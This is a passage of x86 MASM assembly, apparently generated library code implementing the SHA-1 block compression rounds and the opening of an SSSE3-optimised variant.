ebp,DWORD PTR 1518500249[eax*1+ebp] add ebp,ebx ; 00_15 11 mov eax,edx mov ebx,ebp rol ebp,5 xor eax,edi add ebp,esi mov esi,DWORD PTR 44[esp] and eax,ecx ror ecx,2 xor eax,edi lea ebp,DWORD PTR 1518500249[esi*1+ebp] add ebp,eax ; 00_15 12 mov esi,ecx mov eax,ebp rol ebp,5 xor esi,edx add ebp,edi mov edi,DWORD PTR 48[esp] and esi,ebx ror ebx,2 xor esi,edx lea ebp,DWORD PTR 1518500249[edi*1+ebp] add ebp,esi ; 00_15 13 mov edi,ebx mov esi,ebp rol ebp,5 xor edi,ecx add ebp,edx mov edx,DWORD PTR 52[esp] and edi,eax ror eax,2 xor edi,ecx lea ebp,DWORD PTR 1518500249[edx*1+ebp] add ebp,edi ; 00_15 14 mov edx,eax mov edi,ebp rol ebp,5 xor edx,ebx add ebp,ecx mov ecx,DWORD PTR 56[esp] and edx,esi ror esi,2 xor edx,ebx lea ebp,DWORD PTR 1518500249[ecx*1+ebp] add ebp,edx ; 00_15 15 mov ecx,esi mov edx,ebp rol ebp,5 xor ecx,eax add ebp,ebx mov ebx,DWORD PTR 60[esp] and ecx,edi ror edi,2 xor ecx,eax lea ebp,DWORD PTR 1518500249[ebx*1+ebp] mov ebx,DWORD PTR [esp] add ecx,ebp ; 16_19 16 mov ebp,edi xor ebx,DWORD PTR 8[esp] xor ebp,esi xor ebx,DWORD PTR 32[esp] and ebp,edx xor ebx,DWORD PTR 52[esp] rol ebx,1 xor ebp,esi add eax,ebp mov ebp,ecx ror edx,2 mov DWORD PTR [esp],ebx rol ebp,5 lea ebx,DWORD PTR 1518500249[eax*1+ebx] mov eax,DWORD PTR 4[esp] add ebx,ebp ; 16_19 17 mov ebp,edx xor eax,DWORD PTR 12[esp] xor ebp,edi xor eax,DWORD PTR 36[esp] and ebp,ecx xor eax,DWORD PTR 56[esp] rol eax,1 xor ebp,edi add esi,ebp mov ebp,ebx ror ecx,2 mov DWORD PTR 4[esp],eax rol ebp,5 lea eax,DWORD PTR 1518500249[esi*1+eax] mov esi,DWORD PTR 8[esp] add eax,ebp ; 16_19 18 mov ebp,ecx xor esi,DWORD PTR 16[esp] xor ebp,edx xor esi,DWORD PTR 40[esp] and ebp,ebx xor esi,DWORD PTR 60[esp] rol esi,1 xor ebp,edx add edi,ebp mov ebp,eax ror ebx,2 mov DWORD PTR 8[esp],esi rol ebp,5 lea esi,DWORD PTR 1518500249[edi*1+esi] mov edi,DWORD PTR 12[esp] add esi,ebp ; 16_19 19 mov ebp,ebx xor edi,DWORD PTR 20[esp] xor ebp,ecx xor edi,DWORD PTR 44[esp] and ebp,eax xor edi,DWORD PTR [esp] rol edi,1 xor ebp,ecx add edx,ebp mov ebp,esi ror eax,2 mov DWORD PTR 12[esp],edi rol ebp,5 lea edi,DWORD PTR 1518500249[edx*1+edi] mov edx,DWORD PTR 16[esp] add edi,ebp ; 20_39 20 mov ebp,esi xor edx,DWORD PTR 24[esp] xor ebp,eax xor edx,DWORD PTR 48[esp] xor ebp,ebx xor edx,DWORD PTR 4[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 16[esp],edx lea edx,DWORD PTR 1859775393[ecx*1+edx] mov ecx,DWORD PTR 20[esp] add edx,ebp ; 20_39 21 mov ebp,edi xor ecx,DWORD PTR 28[esp] xor ebp,esi xor ecx,DWORD PTR 52[esp] xor ebp,eax xor ecx,DWORD PTR 8[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 20[esp],ecx lea ecx,DWORD PTR 1859775393[ebx*1+ecx] mov ebx,DWORD PTR 24[esp] add ecx,ebp ; 20_39 22 mov ebp,edx xor ebx,DWORD PTR 32[esp] xor ebp,edi xor ebx,DWORD PTR 56[esp] xor ebp,esi xor ebx,DWORD PTR 12[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR 24[esp],ebx lea ebx,DWORD PTR 1859775393[eax*1+ebx] mov eax,DWORD PTR 28[esp] add ebx,ebp ; 20_39 23 mov ebp,ecx xor eax,DWORD PTR 36[esp] xor ebp,edx xor eax,DWORD PTR 60[esp] xor ebp,edi xor eax,DWORD PTR 16[esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 mov DWORD PTR 28[esp],eax lea eax,DWORD PTR 1859775393[esi*1+eax] mov esi,DWORD PTR 32[esp] add eax,ebp ; 20_39 24 mov ebp,ebx xor esi,DWORD PTR 40[esp] xor ebp,ecx xor esi,DWORD PTR [esp] xor ebp,edx xor esi,DWORD PTR 20[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 32[esp],esi lea esi,DWORD PTR 1859775393[edi*1+esi] mov edi,DWORD PTR 36[esp] add esi,ebp ; 20_39 25 mov ebp,eax xor edi,DWORD PTR 44[esp] xor ebp,ebx xor edi,DWORD PTR 4[esp] xor ebp,ecx xor edi,DWORD PTR 24[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 36[esp],edi lea edi,DWORD PTR 1859775393[edx*1+edi] mov edx,DWORD PTR 40[esp] add edi,ebp ; 20_39 26 mov ebp,esi xor edx,DWORD PTR 48[esp] xor ebp,eax xor edx,DWORD PTR 8[esp] xor ebp,ebx xor edx,DWORD PTR 28[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 40[esp],edx lea edx,DWORD PTR 1859775393[ecx*1+edx] mov ecx,DWORD PTR 44[esp] add edx,ebp ; 20_39 27 mov ebp,edi xor ecx,DWORD PTR 52[esp] xor ebp,esi xor ecx,DWORD PTR 12[esp] xor ebp,eax xor ecx,DWORD PTR 32[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 44[esp],ecx lea ecx,DWORD PTR 1859775393[ebx*1+ecx] mov ebx,DWORD PTR 48[esp] add ecx,ebp ; 20_39 28 mov ebp,edx xor ebx,DWORD PTR 56[esp] xor ebp,edi xor ebx,DWORD PTR 16[esp] xor ebp,esi xor ebx,DWORD PTR 36[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR 48[esp],ebx lea ebx,DWORD PTR 1859775393[eax*1+ebx] mov eax,DWORD PTR 52[esp] add ebx,ebp ; 20_39 29 mov ebp,ecx xor eax,DWORD PTR 60[esp] xor ebp,edx xor eax,DWORD PTR 20[esp] xor ebp,edi xor eax,DWORD PTR 40[esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 mov DWORD PTR 52[esp],eax lea eax,DWORD PTR 1859775393[esi*1+eax] mov esi,DWORD PTR 56[esp] add eax,ebp ; 20_39 30 mov ebp,ebx xor esi,DWORD PTR [esp] xor ebp,ecx xor esi,DWORD PTR 24[esp] xor ebp,edx xor esi,DWORD PTR 44[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 56[esp],esi lea esi,DWORD PTR 1859775393[edi*1+esi] mov edi,DWORD PTR 60[esp] add esi,ebp ; 20_39 31 mov ebp,eax xor edi,DWORD PTR 4[esp] xor ebp,ebx xor edi,DWORD PTR 28[esp] xor ebp,ecx xor edi,DWORD PTR 48[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 60[esp],edi lea edi,DWORD PTR 1859775393[edx*1+edi] mov edx,DWORD PTR [esp] add edi,ebp ; 20_39 32 mov ebp,esi xor edx,DWORD PTR 8[esp] xor ebp,eax xor edx,DWORD PTR 32[esp] xor ebp,ebx xor edx,DWORD PTR 52[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR [esp],edx lea edx,DWORD PTR 1859775393[ecx*1+edx] mov ecx,DWORD PTR 4[esp] add edx,ebp ; 20_39 33 mov ebp,edi xor ecx,DWORD PTR 12[esp] xor ebp,esi xor ecx,DWORD PTR 36[esp] xor ebp,eax xor ecx,DWORD PTR 56[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 4[esp],ecx lea ecx,DWORD PTR 1859775393[ebx*1+ecx] mov ebx,DWORD PTR 8[esp] add ecx,ebp ; 20_39 34 mov ebp,edx xor ebx,DWORD PTR 16[esp] xor ebp,edi xor ebx,DWORD PTR 40[esp] xor ebp,esi xor ebx,DWORD PTR 60[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR 8[esp],ebx lea ebx,DWORD PTR 1859775393[eax*1+ebx] mov eax,DWORD PTR 12[esp] add ebx,ebp ; 20_39 35 mov ebp,ecx xor eax,DWORD PTR 20[esp] xor ebp,edx xor eax,DWORD PTR 44[esp] xor ebp,edi xor eax,DWORD PTR [esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 mov DWORD PTR 12[esp],eax lea eax,DWORD PTR 1859775393[esi*1+eax] mov esi,DWORD PTR 16[esp] add eax,ebp ; 20_39 36 mov ebp,ebx xor esi,DWORD PTR 24[esp] xor ebp,ecx xor esi,DWORD PTR 48[esp] xor ebp,edx xor esi,DWORD PTR 4[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 16[esp],esi lea esi,DWORD PTR 1859775393[edi*1+esi] mov edi,DWORD PTR 20[esp] add esi,ebp ; 20_39 37 mov ebp,eax xor edi,DWORD PTR 28[esp] xor ebp,ebx xor edi,DWORD PTR 52[esp] xor ebp,ecx xor edi,DWORD PTR 8[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 20[esp],edi lea edi,DWORD PTR 1859775393[edx*1+edi] mov edx,DWORD PTR 24[esp] add edi,ebp ; 20_39 38 mov ebp,esi xor edx,DWORD PTR 32[esp] xor ebp,eax xor edx,DWORD PTR 56[esp] xor ebp,ebx xor edx,DWORD PTR 12[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 24[esp],edx lea edx,DWORD PTR 1859775393[ecx*1+edx] mov ecx,DWORD PTR 28[esp] add edx,ebp ; 20_39 39 mov ebp,edi xor ecx,DWORD PTR 36[esp] xor ebp,esi xor ecx,DWORD PTR 60[esp] xor ebp,eax xor ecx,DWORD PTR 16[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 28[esp],ecx lea ecx,DWORD PTR 1859775393[ebx*1+ecx] mov ebx,DWORD PTR 32[esp] add ecx,ebp ; 40_59 40 mov ebp,edi xor ebx,DWORD PTR 40[esp] xor ebp,esi xor ebx,DWORD PTR [esp] and ebp,edx xor ebx,DWORD PTR 20[esp] rol ebx,1 add ebp,eax ror edx,2 mov eax,ecx rol eax,5 mov DWORD PTR 32[esp],ebx lea ebx,DWORD PTR 2400959708[ebp*1+ebx] mov ebp,edi add ebx,eax and ebp,esi mov eax,DWORD PTR 36[esp] add ebx,ebp ; 40_59 41 mov ebp,edx xor eax,DWORD PTR 44[esp] xor ebp,edi xor eax,DWORD PTR 4[esp] and ebp,ecx xor eax,DWORD PTR 24[esp] rol eax,1 add ebp,esi ror ecx,2 mov esi,ebx rol esi,5 mov DWORD PTR 36[esp],eax lea eax,DWORD PTR 2400959708[ebp*1+eax] mov ebp,edx add eax,esi and ebp,edi mov esi,DWORD PTR 40[esp] add eax,ebp ; 40_59 42 mov ebp,ecx xor esi,DWORD PTR 48[esp] xor ebp,edx xor esi,DWORD PTR 8[esp] and ebp,ebx xor esi,DWORD PTR 28[esp] rol esi,1 add ebp,edi ror ebx,2 mov edi,eax rol edi,5 mov DWORD PTR 40[esp],esi lea esi,DWORD PTR 2400959708[ebp*1+esi] mov ebp,ecx add esi,edi and ebp,edx mov edi,DWORD PTR 44[esp] add esi,ebp ; 40_59 43 mov ebp,ebx xor edi,DWORD PTR 52[esp] xor ebp,ecx xor edi,DWORD PTR 12[esp] and ebp,eax xor edi,DWORD PTR 32[esp] rol edi,1 add ebp,edx ror eax,2 mov edx,esi rol edx,5 mov DWORD PTR 44[esp],edi lea edi,DWORD PTR 2400959708[ebp*1+edi] mov ebp,ebx add edi,edx and ebp,ecx mov edx,DWORD PTR 48[esp] add edi,ebp ; 40_59 44 mov ebp,eax xor edx,DWORD PTR 56[esp] xor ebp,ebx xor edx,DWORD PTR 16[esp] and ebp,esi xor edx,DWORD PTR 36[esp] rol edx,1 add ebp,ecx ror esi,2 mov ecx,edi rol ecx,5 mov DWORD PTR 48[esp],edx lea edx,DWORD PTR 2400959708[ebp*1+edx] mov ebp,eax add edx,ecx and ebp,ebx mov ecx,DWORD PTR 52[esp] add edx,ebp ; 40_59 45 mov ebp,esi xor ecx,DWORD PTR 60[esp] xor ebp,eax xor ecx,DWORD PTR 20[esp] and ebp,edi xor ecx,DWORD PTR 40[esp] rol ecx,1 add ebp,ebx ror edi,2 mov ebx,edx rol ebx,5 mov DWORD PTR 52[esp],ecx lea ecx,DWORD PTR 2400959708[ebp*1+ecx] mov ebp,esi add ecx,ebx and ebp,eax mov ebx,DWORD PTR 56[esp] add ecx,ebp ; 40_59 46 mov ebp,edi xor ebx,DWORD PTR [esp] xor ebp,esi xor ebx,DWORD PTR 24[esp] and ebp,edx xor ebx,DWORD PTR 44[esp] rol ebx,1 add ebp,eax ror edx,2 mov eax,ecx rol eax,5 mov DWORD PTR 56[esp],ebx lea ebx,DWORD PTR 2400959708[ebp*1+ebx] mov ebp,edi add ebx,eax and ebp,esi mov eax,DWORD PTR 60[esp] add ebx,ebp ; 40_59 47 mov ebp,edx xor eax,DWORD PTR 4[esp] xor ebp,edi xor eax,DWORD PTR 28[esp] and ebp,ecx xor eax,DWORD PTR 48[esp] rol eax,1 add ebp,esi ror ecx,2 mov esi,ebx rol esi,5 mov DWORD PTR 60[esp],eax lea eax,DWORD PTR 2400959708[ebp*1+eax] mov ebp,edx add eax,esi and ebp,edi mov esi,DWORD PTR [esp] add eax,ebp ; 40_59 48 mov ebp,ecx xor esi,DWORD PTR 8[esp] xor ebp,edx xor esi,DWORD PTR 32[esp] and ebp,ebx xor esi,DWORD PTR 52[esp] rol esi,1 add ebp,edi ror ebx,2 mov edi,eax rol edi,5 mov DWORD PTR [esp],esi lea esi,DWORD PTR 2400959708[ebp*1+esi] mov ebp,ecx add esi,edi and ebp,edx mov edi,DWORD PTR 4[esp] add esi,ebp ; 40_59 49 mov ebp,ebx xor edi,DWORD PTR 12[esp] xor ebp,ecx xor edi,DWORD PTR 36[esp] and ebp,eax xor edi,DWORD PTR 56[esp] rol edi,1 add ebp,edx ror eax,2 mov edx,esi rol edx,5 mov DWORD PTR 4[esp],edi lea edi,DWORD PTR 2400959708[ebp*1+edi] mov ebp,ebx add edi,edx and ebp,ecx mov edx,DWORD PTR 8[esp] add edi,ebp ; 40_59 50 mov ebp,eax xor edx,DWORD PTR 16[esp] xor ebp,ebx xor edx,DWORD PTR 40[esp] and ebp,esi xor edx,DWORD PTR 60[esp] rol edx,1 add ebp,ecx ror esi,2 mov ecx,edi rol ecx,5 mov DWORD PTR 8[esp],edx lea edx,DWORD PTR 2400959708[ebp*1+edx] mov ebp,eax add edx,ecx and ebp,ebx mov ecx,DWORD PTR 12[esp] add edx,ebp ; 40_59 51 mov ebp,esi xor ecx,DWORD PTR 20[esp] xor ebp,eax xor ecx,DWORD PTR 44[esp] and ebp,edi xor ecx,DWORD PTR [esp] rol ecx,1 add ebp,ebx ror edi,2 mov ebx,edx rol ebx,5 mov DWORD PTR 12[esp],ecx lea ecx,DWORD PTR 2400959708[ebp*1+ecx] mov ebp,esi add ecx,ebx and ebp,eax mov ebx,DWORD PTR 16[esp] add ecx,ebp ; 40_59 52 mov ebp,edi xor ebx,DWORD PTR 24[esp] xor ebp,esi xor ebx,DWORD PTR 48[esp] and ebp,edx xor ebx,DWORD PTR 4[esp] rol ebx,1 add ebp,eax ror edx,2 mov eax,ecx rol eax,5 mov DWORD PTR 16[esp],ebx lea ebx,DWORD PTR 2400959708[ebp*1+ebx] mov ebp,edi add ebx,eax and ebp,esi mov eax,DWORD PTR 20[esp] add ebx,ebp ; 40_59 53 mov ebp,edx xor eax,DWORD PTR 28[esp] xor ebp,edi xor eax,DWORD PTR 52[esp] and ebp,ecx xor eax,DWORD PTR 8[esp] rol eax,1 add ebp,esi ror ecx,2 mov esi,ebx rol esi,5 mov DWORD PTR 20[esp],eax lea eax,DWORD PTR 2400959708[ebp*1+eax] mov ebp,edx add eax,esi and ebp,edi mov esi,DWORD PTR 24[esp] add eax,ebp ; 40_59 54 mov ebp,ecx xor esi,DWORD PTR 32[esp] xor ebp,edx xor esi,DWORD PTR 56[esp] and ebp,ebx xor esi,DWORD PTR 12[esp] rol esi,1 add ebp,edi ror ebx,2 mov edi,eax rol edi,5 mov DWORD PTR 24[esp],esi lea esi,DWORD PTR 2400959708[ebp*1+esi] mov ebp,ecx add esi,edi and ebp,edx mov edi,DWORD PTR 28[esp] add esi,ebp ; 40_59 55 mov ebp,ebx xor edi,DWORD PTR 36[esp] xor ebp,ecx xor edi,DWORD PTR 60[esp] and ebp,eax xor edi,DWORD PTR 16[esp] rol edi,1 add ebp,edx ror eax,2 mov edx,esi rol edx,5 mov DWORD PTR 28[esp],edi lea edi,DWORD PTR 2400959708[ebp*1+edi] mov ebp,ebx add edi,edx and ebp,ecx mov edx,DWORD PTR 32[esp] add edi,ebp ; 40_59 56 mov ebp,eax xor edx,DWORD PTR 40[esp] xor ebp,ebx xor edx,DWORD PTR [esp] and ebp,esi xor edx,DWORD PTR 20[esp] rol edx,1 add ebp,ecx ror esi,2 mov ecx,edi rol ecx,5 mov DWORD PTR 32[esp],edx lea edx,DWORD PTR 2400959708[ebp*1+edx] mov ebp,eax add edx,ecx and ebp,ebx mov ecx,DWORD PTR 36[esp] add edx,ebp ; 40_59 57 mov ebp,esi xor ecx,DWORD PTR 44[esp] xor ebp,eax xor ecx,DWORD PTR 4[esp] and ebp,edi xor ecx,DWORD PTR 24[esp] rol ecx,1 add ebp,ebx ror edi,2 mov ebx,edx rol ebx,5 mov DWORD PTR 36[esp],ecx lea ecx,DWORD PTR 2400959708[ebp*1+ecx] mov ebp,esi add ecx,ebx and ebp,eax mov ebx,DWORD PTR 40[esp] add ecx,ebp ; 40_59 58 mov ebp,edi xor ebx,DWORD PTR 48[esp] xor ebp,esi xor ebx,DWORD PTR 8[esp] and ebp,edx xor ebx,DWORD PTR 28[esp] rol ebx,1 add ebp,eax ror edx,2 mov eax,ecx rol eax,5 mov DWORD PTR 40[esp],ebx lea ebx,DWORD PTR 2400959708[ebp*1+ebx] mov ebp,edi add ebx,eax and ebp,esi mov eax,DWORD PTR 44[esp] add ebx,ebp ; 40_59 59 mov ebp,edx xor eax,DWORD PTR 52[esp] xor ebp,edi xor eax,DWORD PTR 12[esp] and ebp,ecx xor eax,DWORD PTR 32[esp] rol eax,1 add ebp,esi ror ecx,2 mov esi,ebx rol esi,5 mov DWORD PTR 44[esp],eax lea eax,DWORD PTR 2400959708[ebp*1+eax] mov ebp,edx add eax,esi and ebp,edi mov esi,DWORD PTR 48[esp] add eax,ebp ; 20_39 60 mov ebp,ebx xor esi,DWORD PTR 56[esp] xor ebp,ecx xor esi,DWORD PTR 16[esp] xor ebp,edx xor esi,DWORD PTR 36[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 48[esp],esi lea esi,DWORD PTR 3395469782[edi*1+esi] mov edi,DWORD PTR 52[esp] add esi,ebp ; 20_39 61 mov ebp,eax xor edi,DWORD PTR 60[esp] xor ebp,ebx xor edi,DWORD PTR 20[esp] xor ebp,ecx xor edi,DWORD PTR 40[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 52[esp],edi lea edi,DWORD PTR 3395469782[edx*1+edi] mov edx,DWORD PTR 56[esp] add edi,ebp ; 20_39 62 mov ebp,esi xor edx,DWORD PTR [esp] xor ebp,eax xor edx,DWORD PTR 24[esp] xor ebp,ebx xor edx,DWORD PTR 44[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 56[esp],edx lea edx,DWORD PTR 3395469782[ecx*1+edx] mov ecx,DWORD PTR 60[esp] add edx,ebp ; 20_39 63 mov ebp,edi xor ecx,DWORD PTR 4[esp] xor ebp,esi xor ecx,DWORD PTR 28[esp] xor ebp,eax xor ecx,DWORD PTR 48[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 60[esp],ecx lea ecx,DWORD PTR 3395469782[ebx*1+ecx] mov ebx,DWORD PTR [esp] add ecx,ebp ; 20_39 64 mov ebp,edx xor ebx,DWORD PTR 8[esp] xor ebp,edi xor ebx,DWORD PTR 32[esp] xor ebp,esi xor ebx,DWORD PTR 52[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR [esp],ebx lea ebx,DWORD PTR 3395469782[eax*1+ebx] mov eax,DWORD PTR 4[esp] add ebx,ebp ; 20_39 65 mov ebp,ecx xor eax,DWORD PTR 12[esp] xor ebp,edx xor eax,DWORD PTR 36[esp] xor ebp,edi xor eax,DWORD PTR 56[esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 mov DWORD PTR 4[esp],eax lea eax,DWORD PTR 3395469782[esi*1+eax] mov esi,DWORD PTR 8[esp] add eax,ebp ; 20_39 66 mov ebp,ebx xor esi,DWORD PTR 16[esp] xor ebp,ecx xor esi,DWORD PTR 40[esp] xor ebp,edx xor esi,DWORD PTR 60[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 8[esp],esi lea esi,DWORD PTR 3395469782[edi*1+esi] mov edi,DWORD PTR 12[esp] add esi,ebp ; 20_39 67 mov ebp,eax xor edi,DWORD PTR 20[esp] xor ebp,ebx xor edi,DWORD PTR 44[esp] xor ebp,ecx xor edi,DWORD PTR [esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 12[esp],edi lea edi,DWORD PTR 3395469782[edx*1+edi] mov edx,DWORD PTR 16[esp] add edi,ebp ; 20_39 68 mov ebp,esi xor edx,DWORD PTR 24[esp] xor ebp,eax xor edx,DWORD PTR 48[esp] xor ebp,ebx xor edx,DWORD PTR 4[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 16[esp],edx lea edx,DWORD PTR 3395469782[ecx*1+edx] mov ecx,DWORD PTR 20[esp] add edx,ebp ; 20_39 69 mov ebp,edi xor ecx,DWORD PTR 28[esp] xor ebp,esi xor ecx,DWORD PTR 52[esp] xor ebp,eax xor ecx,DWORD PTR 8[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 20[esp],ecx lea ecx,DWORD PTR 3395469782[ebx*1+ecx] mov ebx,DWORD PTR 24[esp] add ecx,ebp ; 20_39 70 mov ebp,edx xor ebx,DWORD PTR 32[esp] xor ebp,edi xor ebx,DWORD PTR 56[esp] xor ebp,esi xor ebx,DWORD PTR 12[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR 24[esp],ebx lea ebx,DWORD PTR 3395469782[eax*1+ebx] mov eax,DWORD PTR 28[esp] add ebx,ebp ; 20_39 71 mov ebp,ecx xor eax,DWORD PTR 36[esp] xor ebp,edx xor eax,DWORD PTR 60[esp] xor ebp,edi xor eax,DWORD PTR 16[esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 mov DWORD PTR 28[esp],eax lea eax,DWORD PTR 3395469782[esi*1+eax] mov esi,DWORD PTR 32[esp] add eax,ebp ; 20_39 72 mov ebp,ebx xor esi,DWORD PTR 40[esp] xor ebp,ecx xor esi,DWORD PTR [esp] xor ebp,edx xor esi,DWORD PTR 20[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 mov DWORD PTR 32[esp],esi lea esi,DWORD PTR 3395469782[edi*1+esi] mov edi,DWORD PTR 36[esp] add esi,ebp ; 20_39 73 mov ebp,eax xor edi,DWORD PTR 44[esp] xor ebp,ebx xor edi,DWORD PTR 4[esp] xor ebp,ecx xor edi,DWORD PTR 24[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 mov DWORD PTR 36[esp],edi lea edi,DWORD PTR 3395469782[edx*1+edi] mov edx,DWORD PTR 40[esp] add edi,ebp ; 20_39 74 mov ebp,esi xor edx,DWORD PTR 48[esp] xor ebp,eax xor edx,DWORD PTR 8[esp] xor ebp,ebx xor edx,DWORD PTR 28[esp] rol edx,1 add ecx,ebp ror esi,2 mov ebp,edi rol ebp,5 mov DWORD PTR 40[esp],edx lea edx,DWORD PTR 3395469782[ecx*1+edx] mov ecx,DWORD PTR 44[esp] add edx,ebp ; 20_39 75 mov ebp,edi xor ecx,DWORD PTR 52[esp] xor ebp,esi xor ecx,DWORD PTR 12[esp] xor ebp,eax xor ecx,DWORD PTR 32[esp] rol ecx,1 add ebx,ebp ror edi,2 mov ebp,edx rol ebp,5 mov DWORD PTR 44[esp],ecx lea ecx,DWORD PTR 3395469782[ebx*1+ecx] mov ebx,DWORD PTR 48[esp] add ecx,ebp ; 20_39 76 mov ebp,edx xor ebx,DWORD PTR 56[esp] xor ebp,edi xor ebx,DWORD PTR 16[esp] xor ebp,esi xor ebx,DWORD PTR 36[esp] rol ebx,1 add eax,ebp ror edx,2 mov ebp,ecx rol ebp,5 mov DWORD PTR 48[esp],ebx lea ebx,DWORD PTR 3395469782[eax*1+ebx] mov eax,DWORD PTR 52[esp] add ebx,ebp ; 20_39 77 mov ebp,ecx xor eax,DWORD PTR 60[esp] xor ebp,edx xor eax,DWORD PTR 20[esp] xor ebp,edi xor eax,DWORD PTR 40[esp] rol eax,1 add esi,ebp ror ecx,2 mov ebp,ebx rol ebp,5 lea eax,DWORD PTR 3395469782[esi*1+eax] mov esi,DWORD PTR 56[esp] add eax,ebp ; 20_39 78 mov ebp,ebx xor esi,DWORD PTR [esp] xor ebp,ecx xor esi,DWORD PTR 24[esp] xor ebp,edx xor esi,DWORD PTR 44[esp] rol esi,1 add edi,ebp ror ebx,2 mov ebp,eax rol ebp,5 lea esi,DWORD PTR 3395469782[edi*1+esi] mov edi,DWORD PTR 60[esp] add esi,ebp ; 20_39 79 mov ebp,eax xor edi,DWORD PTR 4[esp] xor ebp,ebx xor edi,DWORD PTR 28[esp] xor ebp,ecx xor edi,DWORD PTR 48[esp] rol edi,1 add edx,ebp ror eax,2 mov ebp,esi rol ebp,5 lea edi,DWORD PTR 3395469782[edx*1+edi] add edi,ebp mov ebp,DWORD PTR 96[esp] mov edx,DWORD PTR 100[esp] add edi,DWORD PTR [ebp] add esi,DWORD PTR 4[ebp] add eax,DWORD PTR 8[ebp] add ebx,DWORD PTR 12[ebp] add ecx,DWORD PTR 16[ebp] mov DWORD PTR [ebp],edi add edx,64 mov DWORD PTR 4[ebp],esi cmp edx,DWORD PTR 104[esp] mov DWORD PTR 8[ebp],eax mov edi,ecx mov DWORD PTR 12[ebp],ebx mov esi,edx mov DWORD PTR 16[ebp],ecx jb $L002loop add esp,76 pop edi pop esi pop ebx pop ebp ret _sha1_block_data_order ENDP ALIGN 16 __sha1_block_data_order_ssse3 PROC PRIVATE push ebp push ebx push esi push edi call $L003pic_point $L003pic_point: pop ebp lea ebp,DWORD PTR ($LK_XX_XX-$L003pic_point)[ebp] $Lssse3_shortcut:: movdqa xmm7,XMMWORD PTR [ebp] movdqa xmm0,XMMWORD PTR 16[ebp] movdqa xmm1,XMMWORD PTR 32[ebp] movdqa xmm2,XMMWORD PTR 48[ebp] movdqa xmm6,XMMWORD PTR 64[ebp] mov edi,DWORD PTR 20[esp] mov ebp,DWORD PTR 24[esp] mov edx,DWORD PTR 28[esp] mov esi,esp sub esp,208 and esp,-64 movdqa XMMWORD PTR 112[esp],xmm0 movdqa XMMWORD PTR 128[esp],xmm1 movdqa XMMWORD PTR 144[esp],xmm2 shl edx,6 movdqa XMMWORD PTR 160[esp],xmm7 add edx,ebp movdqa XMMWORD PTR 176[esp],xmm6 add ebp,64 mov DWORD PTR 192[esp],edi mov DWORD PTR 196[esp],ebp mov DWORD PTR 200[esp],edx mov DWORD PTR 204[esp],esi mov eax,DWORD PTR [edi] mov ebx,DWORD PTR 4[edi] mov ecx,DWORD PTR 8[edi] mov edx,DWORD PTR 12[edi] mov edi,DWORD PTR 16[edi] mov esi,ebx movdqu xmm0,XMMWORD PTR [ebp-64] movdqu xmm1,XMMWORD PTR [ebp-48] movdqu xmm2,XMMWORD PTR [ebp-32] movdqu xmm3,XMMWORD PTR [ebp-16] DB 102,15,56,0,198 DB 102,15,56,0,206 DB 102,15,56,0,214 movdqa XMMWORD PTR 96[esp],xmm7 DB 102,15,56,0,222 paddd xmm0,xmm7 paddd xmm1,xmm7 paddd xmm2,xmm7 movdqa XMMWORD PTR [esp],xmm0 psubd xmm0,xmm7 movdqa XMMWORD PTR 16[esp],xmm1 psubd xmm1,xmm7 movdqa XMMWORD PTR 32[esp],xmm2 psubd xmm2,xmm7 movdqa xmm4,xmm1 jmp $L004loop ALIGN 16 $L004loop: add edi,DWORD PTR [esp] xor ecx,edx DB 102,15,58,15,224,8 movdqa xmm6,xmm3 mov ebp,eax rol eax,5 paddd xmm7,xmm3 movdqa 